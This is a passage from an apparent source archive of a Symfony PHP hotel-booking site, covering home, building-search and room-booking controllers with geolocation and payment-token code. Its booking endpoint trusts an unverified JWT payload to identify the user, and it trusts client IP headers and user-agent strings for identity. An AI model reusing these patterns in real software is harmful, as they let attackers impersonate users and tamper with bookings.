href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } $news= $this->entityManager->getRepository(Actualite::class)->findAll(); $towns= $this->entityManager->getRepository(Town::class)->findBy(array(),array("vues"=>"DESC")); $town=$this->entityManager->getRepository(Town::class)->find($town); $town=$this->entityManager->getRepository(Town::class)->find($town); $buildingTypes = $this->entityManager->getRepository(BuildingType::class)->findAll(); $result= $this->entityManager->getRepository(Building::class)->findAllDetailByTown($town->getId(),$buildingType); return $this->render('building_detail/building_details_index.html.twig', [ 'controller_name' => 'BuildingDetailController', 'companyName' => $this->getParameter("app_client"), 'languageChoose' => $body, 'onlinePath' => $onlinePath, 'language' => $language, 'towns' => $towns, 'buildingTypes' => $buildingTypes, 'buildingType' => $buildingType, 'news' =>$news, 'town' => $town, 'startDate' => $startDate, 'endDate' => $endDate, 'type' => $this->entityManager->getRepository(BuildingType::class)->find($buildingType), 'adult' => $adult, 'child' => $child, 'interval' => $interval, 'showItem' => 2, 'result' => $result, 'appUser' =>$this->getParameter('appUser'), 'host'=>$this->siteURL(), ]); } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST'].'/'; if ($_SERVER['HTTP_HOST'] == "localhost") { return $protocol.$domainName.$this->getParameter('localRepository')."/".$this->getParameter('apiLink'); }else{ return $protocol.$domainName.$this->getParameter('apiLink'); } } } Controller/HomeController.php 0000644 00000074043 15117152230 0012341 0 ustar 00 <?php namespace App\Controller; use App\Entity\Actualite; use App\Entity\Announce; use App\Entity\Background; use App\Entity\BookingRoom; use App\Entity\Building; use App\Entity\BuildingType; use App\Entity\Contact; use App\Entity\MediaObject; use App\Entity\Testimony; use App\Entity\Town; use App\Entity\Visitor; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use GuzzleHttp\Client; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; use Symfony\Component\Serializer\Serializer; use Symfony\Component\Serializer\SerializerInterface; class HomeController extends AbstractController { private $emailVerifier; private $entityManager; public function __construct(EmailVerifier $emailVerifier, EntityManagerInterface $entityManager) { $this->emailVerifier = $emailVerifier; $this->entityManager = $entityManager; } /** * @Route({"es": "/","en": "/"}, name="app_home") */ public function index(Request $request): Response { $data=array(); $testimonies= $this->entityManager->getRepository(Testimony::class)->findAll(); foreach ($testimonies as $testimony){ if($testimony-> getApproved() ){ $url=$this->siteURL(); if(!is_null($testimony->getPicture())){ if($_SERVER['HTTP_HOST']=="localhost" ){ $client = new Client(['base_uri' => $this->siteURL()]); $response = $client->request('GET', 'media_objects/'.$testimony->getPicture()->getId()); }else{ $client = new Client(['base_uri' => $this->siteURL()]); $response = $client->request('GET', 'media_objects/'.$testimony->getPicture()->getId()); } $responseBody=json_decode($response->getBody()->getContents()); $responseBody->contentUrl=$url."".$responseBody->contentUrl; }else{ $responseBody=new MediaObject(); $responseBody->contentUrl=$url."/img/login.png"; } $responseMessage=array( "picture"=>$responseBody, "data"=>$testimony ); array_push($data,$responseMessage); } } $testimonies=$data; $news= $this->entityManager->getRepository(Actualite::class)->findAll(); $anounces= $this->entityManager->getRepository(Announce::class)->findAll(); $buildingTypes = $this->entityManager->getRepository(BuildingType::class)->findAll(); $visitors= $this->entityManager->getRepository(Visitor::class)->findAll(); $backgrounds= $this->entityManager->getRepository(Background::class)->findAll(); $dataBackground=array(); $trendingDestinations=array(); $towns= $this->entityManager->getRepository(Town::class)->findBy(array(),array("vues"=>"DESC")); $bookings= $this->entityManager->getRepository(BookingRoom::class)->findAll(); foreach ($towns as $town) { $count=0; foreach ($bookings as $booking) { if ($booking->getRoom()->getBuilding()->getAddress()->getTown()->getId()==$town->getId()) { $count++; } } if($town->getPicture()){ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "country"=>$town->getCountry(), "picture"=>$town->getPicture()->getFilePath(), )); }else{ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "country"=>$town->getCountry(), "picture"=>null, )); } } foreach ($backgrounds as $background) { if ($background->getActive()) { $url=$this->siteURL(); if(!is_null($background->getPicture())) { $client = new Client(['base_uri' => $this->siteURL()]); $response = $client->request('GET', 'media_objects/' . $background->getPicture()->getId()); $responseBody=json_decode($response->getBody()->getContents()); $responseBody->contentUrl=$url."".$responseBody->contentUrl; $responseMessage=array( "picture"=>$responseBody, "data"=>$background ); array_push($dataBackground,$responseMessage); } } } $updateVisitor=new Visitor(); foreach ($visitors as $currentVisitor){ if($currentVisitor->getWebAgent()==$_SERVER['HTTP_USER_AGENT']){ $updateVisitor=$currentVisitor; } } $local=$request->getLocale(); $language=""; $onlinePath=$request->getBasePath(); if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } arsort($trendingDestinations); $onlinePath=$request->getBasePath(); return $this->render('home/home_index.html.twig', [ 'controller_name' => 'HomeController', 'companyName' => $this->getParameter("app_client"), 'languageChoose' => $body, 'onlinePath' => $onlinePath, 'language' => $language, 'host'=>$this->siteURL(), 'local' => $local, 'testimonies' => $testimonies, 'backgrounds' => $dataBackground, 'announces' => $anounces, 'towns' => $towns, 'buildingTypes' => $buildingTypes, 'news' =>$news, 'visitor' =>$updateVisitor, 'trendingDestinations' =>($trendingDestinations), 'appUser' =>$this->getParameter('appUser'), ]); } /** * @Route("/change_locale/{locale}", name="change_locale") */ public function changeLocale($locale, Request $request) { // On stocke la langue dans la session $request->getSession()->set('_locale', $locale); // On revient sur la page précédente $this->addFlash('success', 'Local website language updated.'); return $this->redirect($this->siteURL().$request->getBasePath()); } function getLocationInfoByIp(){ $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = @$_SERVER['REMOTE_ADDR']; $result = array('country'=>'', 'city'=>''); if(filter_var($client, FILTER_VALIDATE_IP)){ $ip = $client; }elseif(filter_var($forward, FILTER_VALIDATE_IP)){ $ip = $forward; }else{ $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryName != null){ $result['country'] = $ip_data->geoplugin_countryCode; $result['city'] = $ip_data->geoplugin_city; $result['client'] = $client; } return $result; } function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) { $output = NULL; if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) { $ip = $_SERVER["REMOTE_ADDR"]; if ($deep_detect) { if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) $ip = $_SERVER['HTTP_CLIENT_IP']; } } $purpose = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose))); $support = array("country", "countrycode", "state", "region", "city", "location", "address"); $continents = array( "AF" => "Africa", "AN" => "Antarctica", "AS" => "Asia", "EU" => "Europe", "OC" => "Australia (Oceania)", "NA" => "North America", "SA" => "South America" ); if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) { $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip)); if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) { switch ($purpose) { case "location": $output = array( "city" => @$ipdat->geoplugin_city, "state" => @$ipdat->geoplugin_regionName, "country" => @$ipdat->geoplugin_countryName, "country_code" => @$ipdat->geoplugin_countryCode, "continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)], "continent_code" => @$ipdat->geoplugin_continentCode ); break; case "address": $address = array($ipdat->geoplugin_countryName); if (@strlen($ipdat->geoplugin_regionName) >= 1) $address[] = $ipdat->geoplugin_regionName; if (@strlen($ipdat->geoplugin_city) >= 1) $address[] = $ipdat->geoplugin_city; $output = implode(", ", array_reverse($address)); break; case "city": $output = @$ipdat->geoplugin_city; break; case "state": $output = @$ipdat->geoplugin_regionName; break; case "region": $output = @$ipdat->geoplugin_regionName; break; case "country": $output = @$ipdat->geoplugin_countryName; break; case "countrycode": $output = @$ipdat->geoplugin_countryCode; break; } } } return $output; } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST'].'/'; if ($_SERVER['HTTP_HOST'] == "localhost") { return $protocol.$domainName.$this->getParameter('localRepository')."/".$this->getParameter('apiLink'); }else{ return $protocol.$domainName.$this->getParameter('apiLink'); } } /** * Locates user . * @Rest\Post("/client_location") * @View */ public function locatedClientAction(Request $request) { $data = json_decode($request->getContent(), true); if (empty($data['api_address']) ) { return new JsonResponse($data, Response::HTTP_NOT_ACCEPTABLE); } $visitors= $this->entityManager->getRepository(Visitor::class)->findAll(); $trendingDestinations=array(); $towns= $this->entityManager->getRepository(Town::class)->findAll(); $bookings= $this->entityManager->getRepository(BookingRoom::class)->findAll(); $webVisitor=0; $updateVisitor=new Visitor(); foreach ($visitors as $currentVisitor){ if($currentVisitor->getWebAgent()==$_SERVER['HTTP_USER_AGENT']){ $webVisitor=$currentVisitor->getId(); $updateVisitor=$currentVisitor; } } if($webVisitor==0){ $visitor= new Visitor(); try{ $externalIp =$data['api_address']; $location= $this->ip_info($externalIp, "Location"); $visitor->setIpLocation("".$externalIp); $visitor->setCountryLocation("".$location["country"]); $visitor->setContinent("".$location["continent"]); $visitor->setVille("".$location["city"] ); $visitor->setRegion("".$location["state"] ); $visitor->setCountryCode("".$location["country_code"] ); $em=$this->getDoctrine()->getManager(); $em->persist($visitor); $em->flush(); $this->addFlash('success', 'Welcome in '.$location["country"].' we are using cookies on this website for better user experience'); $webVisitor=$visitor->getId(); }catch (\Exception $e){ } $location["id"]=$visitor->getId(); foreach ($towns as $town) { if(strtolower($town->getCountry()->getCode())==strtolower($location["country_code"])){ $count=0; foreach ($bookings as $booking) { if ($booking->getRoom()->getBuilding()->getAddress()->getTown()->getId()==$town->getId()) { $count++; } } if($town->getPicture()){ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "country"=>$town->getCountry()->getCountryName(), "countryFlag"=>$town->getCountry()->getCountryFlag()->getFilePath(), "picture"=>$town->getPicture()->getFilePath(), )); }else{ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "country"=>$town->getCountry()->getCountryName(), "countryFlag"=>$town->getCountry()->getCountryFlag()->getFilePath(), "picture"=>null, )); } } } arsort($trendingDestinations,SORT_NUMERIC); $location["trendingTown"]=$trendingDestinations; $location["total"]=sizeof($trendingDestinations); return new JsonResponse($location, Response::HTTP_ACCEPTED); }else{ $externalIp =$data['api_address']; $location= $this->ip_info($externalIp, "location"); $updateVisitor->setIpLocation("".$externalIp); $updateVisitor->setCountryLocation("".$location["country"]); $updateVisitor->setContinent("".$location["continent"]); $updateVisitor->setVille("".$location["city"] ); $updateVisitor->setRegion("".$location["state"] ); $updateVisitor->setCountryCode("".$location["country_code"] ); $em=$this->getDoctrine()->getManager(); $em->persist($updateVisitor); $em->flush(); $location["id"]=$updateVisitor->getId(); $capital=new Town(); foreach ($towns as $town) { if(strtolower($town->getCountry()->getCode())==strtolower($location["country_code"])){ if($town->getIsCapital()){ $capital=$town; } $count=0; foreach ($bookings as $booking) { if ($booking->getRoom()->getBuilding()->getAddress()->getTown()->getId()==$town->getId()) { $count++; } } if($town->getPicture()){ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "isCapital"=>$town->getIsCapital(), "townId"=>"".$town->getId(), "country"=>$town->getCountry()->getCountryName(), "countryFlag"=>$town->getCountry()->getCountryFlag()->getFilePath(), "picture"=>$town->getPicture()->getFilePath(), )); }else{ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "isCapital"=>$town->getIsCapital(), "country"=>$town->getCountry()->getCountryName(), "countryFlag"=>$town->getCountry()->getCountryFlag()->getFilePath(), "picture"=>null, )); } } } arsort($trendingDestinations,SORT_NUMERIC); $location["trendingTown"]=$trendingDestinations; $location["capital"]=$capital->getId(); $location["total"]=sizeof($trendingDestinations); return new JsonResponse($location, Response::HTTP_ACCEPTED); } } /** * Add Client to new letter. * * @Rest\Post("/client_newletter") * @View */ public function addToNewLetterAction(Request $request) { $data = json_decode($request->getContent(), true); if (empty($data['email']) ) { return new JsonResponse($data, Response::HTTP_NOT_ACCEPTABLE); } $visitors= $this->getDoctrine() ->getRepository(Visitor::class)->findAll(); $response="SUBMIT"; $webVisitor=0; foreach ($visitors as $currentVisitor){ if($currentVisitor->getWebAgent()==$_SERVER['HTTP_USER_AGENT']){ $webVisitor=$currentVisitor; } } if($webVisitor->getId()!=null){ try{ if(!is_null($webVisitor->getVisitorEmail()|| !empty($webVisitor->getVisitorEmail()))){ $email =$data['email']; $this->addFlash('success', 'Congratulation!! You have been had in our newLetters.'); $webVisitor->setVisitorEmail("".$email ); $em=$this->getDoctrine()->getManager(); $em->persist($webVisitor); $em->flush(); }else{ $response="FOUND"; } }catch (\Exception $e){ } } return new JsonResponse($response, Response::HTTP_ACCEPTED); } /** * conctact us. * @Rest\Post("/client_contact_us") * @View */ public function sendMessageToAdminAction(Request $request) { $data = json_decode($request->getContent(), true); $email =$data['email']; $contactName =$data['contactName']; $message =$data['message']; $phone =$data['phone']; if (empty($data['email']) || empty($data['message']) || empty($data['contactName']) ) { return new JsonResponse($data, Response::HTTP_NOT_ACCEPTABLE); } $visitors= $this->getDoctrine() ->getRepository(Visitor::class)->findAll(); $response="success"; $webVisitor=0; foreach ($visitors as $currentVisitor){ if($currentVisitor->getWebAgent()==$_SERVER['HTTP_USER_AGENT']){ $webVisitor=$currentVisitor; } } if($webVisitor->getId()!=null){ try{ if(is_null($webVisitor->getVisitorEmail()|| empty($webVisitor->getVisitorEmail()))) { $webVisitor->setVisitorEmail("" . $email); } if(empty($webVisitor->getVisitorName()) || is_null($webVisitor->getVisitorName())){ $webVisitor->setVisitorName("".$contactName ); } if(empty($webVisitor->getVisitorPhone()) || is_null($webVisitor->getVisitorPhone())){ $webVisitor->setVisitorPhone("".$phone ); } $em=$this->getDoctrine()->getManager(); $em->persist($webVisitor); $em->flush(); $contactUs=new Contact(); $contactUs->setMessage($message); $contactUs->setVisitor($webVisitor); $em->persist($contactUs); $em->flush(); }catch (\Exception $e){ } } return new JsonResponse($response, Response::HTTP_ACCEPTED); } /** * Locates user . * @Rest\Post("/api/v1/find_buildings") * @View */ public function findBuildAction(Request $request,SerializerInterface $serializer):Response { $data = json_decode($request->getContent(), true); if (empty($data['town'])) { return new JsonResponse($data, Response::HTTP_NOT_ACCEPTABLE); } $updateTown=$this->entityManager->getRepository(Town::class)->find($data['town']); if(!is_null($updateTown)){ $updateTown->setVues($updateTown->getVues()+1); $this->entityManager->persist($updateTown); $this->entityManager->flush(); } $town = $data['town']; $buildType=$data['buildType']; $startedDate=$data['startedDate']; $endDate=$data['endDate']; $buildRooms=$this->entityManager->getRepository(Building::class)->findAllDetailByTown($town,$buildType); $arraysOfData=array(); // $loader is any of the valid loaders explained later in this article foreach ($buildRooms as $buildRoom ){ if($buildRoom->isActive()){ array_push($arraysOfData, json_decode($serializer->serialize($buildRoom, 'json')) ); } } return new JsonResponse( array( "requestKeys"=> $data, "data"=> $arraysOfData, "length"=> sizeof($arraysOfData), ), Response::HTTP_OK); } } Controller/BuildingNavigationController.php 0000644 00000045650 15117152230 0015230 0 ustar 00 <?php namespace App\Controller; use App\Entity\BookingRoom; use App\Entity\Building; use App\Entity\BuildingType; use App\Entity\Company; use App\Entity\Payment; use App\Entity\PaymentOption; use App\Entity\Room; use App\Entity\Town; use App\Entity\User; use App\Event\Token; use App\Event\TransactionRef; use App\Security\EmailVerifier; use DateTime; use Doctrine\ORM\EntityManagerInterface; use Lexik\Bundle\JWTAuthenticationBundle\Services\JWTManager; use Lexik\Bundle\JWTAuthenticationBundle\Services\JWTManagerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; class BuildingNavigationController extends AbstractController { private $emailVerifier; private $entityManager; private $jwtManager; public function __construct( EmailVerifier $emailVerifier,UrlGeneratorInterface $urlGenerator, EntityManagerInterface $entityManager) { $this->urlGenerator = $urlGenerator; $this->emailVerifier = $emailVerifier; $this->entityManager = $entityManager; } function decodeJWTPayloadOnly($token){ $tks = explode('.', $token); if (count($tks) != 3) { return null; } list($headb64, $bodyb64, $cryptob64) = $tks; $input=$bodyb64; $remainder = strlen($input) % 4; if ($remainder) { $padlen = 4 - $remainder; $input .= str_repeat('=', $padlen); } $input = (base64_decode(strtr($input, '-_', '+/'))); if (version_compare(PHP_VERSION, '5.4.0', '>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE > 4)) { $obj = json_decode($input, false, 512, JSON_BIGINT_AS_STRING); } else { $max_int_length = strlen((string) PHP_INT_MAX) - 1; $json_without_bigints = preg_replace('/:\s*(-?\d{'.$max_int_length.',})/', ': "$1"', $input); $obj = json_decode($json_without_bigints); } return $obj; } /** * @Route("/building/room/booking", name="app_room_booking") */ public function bookRoom(Request $request){ $data = json_decode($request->getContent(), true); try{ $userToken= $data['_user_token']; $buildingId= $data['buildingId']; $roomId= $data['roomId']; $startDate= $data['startDate']; $endDate= $data['endDate']; $townId= $data['townId']; }catch (\Exception $exception){ $this->addFlash('error',"invalid inputs"); $this->redirectToRoute('app_home'); } $adult= $data['adult']; $child= $data['child']; $building= $this->entityManager->getRepository(Building::class)->find($buildingId); if(!is_null($building)){ $company=$this->entityManager->getRepository(Company::class)->find($building->getCompany()->getId()); $company->setVues($company->getVues()+1); $this->entityManager->persist($company); $this->entityManager->flush(); } $room= $this->entityManager->getRepository(Room::class)->find($roomId); $user= $this->entityManager->getRepository(User::class)->findOneBySomeField($this->decodeJWTPayloadOnly($userToken)->username); $town= $this->entityManager->getRepository(Town::class)->find($townId); if(is_null($room)){ return new JsonResponse(json_encode( array( "bookingId"=>null, "paymentLink"=>null, "notificationLink"=>null, "resultCode"=>404, "message"=>"room not found", "result"=>null, ) ), Response::HTTP_NOT_FOUND); } if(empty($endDate) || empty($startDate)){ return new JsonResponse(json_encode( array( "bookingId"=>null, "paymentLink"=>null, "notificationLink"=>null, "payBefore"=>false, "resultCode"=>400, "message"=>"Empty Start Date or End Date", "result"=>null, ) ), Response::HTTP_BAD_REQUEST); } $date1 = new DateTime($startDate); $date2 = new DateTime($endDate); $interval = $date1->diff($date2); if($date2<$date1){ return new JsonResponse(json_encode( array( "bookingId"=>null, "paymentLink"=>null, "notificationLink"=>null, "resultCode"=>400, "message"=>"Date Range Not Valid", "result"=>null, "payBefore"=>false, "interval"=>$interval, ) ), Response::HTTP_BAD_REQUEST); } if(is_null($user)){ return new JsonResponse(json_encode( array( "bookingId"=>null, "paymentLink"=>null, "notificationLink"=>null, "resultCode"=>404, "message"=>"user not found", "result"=>null, "payBefore"=>false, "interval"=>$interval, ) ), Response::HTTP_NOT_FOUND); } str_replace("T"," ",$startDate); str_replace("T"," ",$endDate); $result= $this->entityManager->getRepository(BookingRoom::class)->findByRoomBook($startDate,$endDate,$roomId); if(empty($result)){ $bookingRoomTemp=new BookingRoom(); $bookingRoomTemp->setRoom($room); $bookingRoomTemp->setAdult($adult); $bookingRoomTemp->setChild($child); $bookingRoomTemp->setArrivalDate( new DateTime($startDate)); $bookingRoomTemp->setDepartureDate(new \DateTime($endDate)); $bookingRoomTemp->setComingFrom($town); $bookingRoomTemp->setPaymentAsBeenConfirmed(false); $bookingRoomTemp->setUser($user); $payment= new Payment(); $payment->setAmount($room->getCost()*intval($interval->format('%d'))); $payment->setDiscount(0); $payment->setFees(0); $payment->setUser($user); $room->setIsFree(false); $this->entityManager->persist($room); $this->entityManager->persist($bookingRoomTemp); $this->entityManager->flush(); $transactionRef= new TransactionRef(); $transactionRef->amount=$room->getCost()*intval($interval->format('%d')); $transactionRef->userId=$user->getId(); $transactionRef->roomId=$roomId; $transactionRef->createdDate=$payment->getCreatedAt()->format("Y-m-d H:i:s"); $payment->setTransactionRef( sha1(json_encode($transactionRef)) ); $bookingRoomTemp->setPayment($payment); $token= new Token(); $token->amount=$room->getCost()*(intval($interval->format('%d'))); $token->booking=$bookingRoomTemp->getId(); $token->ref= $bookingRoomTemp->getPayment()->getTransactionRef(); $bookingRoomTemp->getPayment()->setPaymentToken( base64_encode(json_encode( $token)) ); $bookingRoomTemp->setPaymentLink($this->getGeneratePaymentUrl($bookingRoomTemp)); $bookingRoomTemp->setPaymentNotificationLink($this->getNotifyPaymentLink()); $bookingRoomTemp->getPayment()->setPaymentOption( $this->entityManager->getRepository(PaymentOption::class)->findOneBy(array('isCash'=>true))); $this->entityManager->persist($bookingRoomTemp); $this->entityManager->flush(); return new JsonResponse(json_encode( array( "bookingId"=>$bookingRoomTemp->getId(), "paymentLink"=>$this->getGeneratePaymentUrl($bookingRoomTemp), "result"=>$result, "payBefore"=>$bookingRoomTemp->getRoom()->isPayBefore(), "resultCode"=>200, "message"=>"success", "notificationLink"=>$this->getGeneratePaymentUrl( $bookingRoomTemp), ) ), Response::HTTP_ACCEPTED); }else{ return new JsonResponse(json_encode( array( "bookingId"=>null, "paymentLink"=>null, "notificationLink"=>null, "resultCode"=>406, "payBefore"=>false, "message"=>"Room Not Available From", "result"=>$result, ) ), Response::HTTP_NOT_ACCEPTABLE); } } const NOTIFY_PAYMENT = "app_payment_notify"; public function getNotifyPaymentLink(): string { return $this->urlGenerator->generate(self::NOTIFY_PAYMENT); } /** * 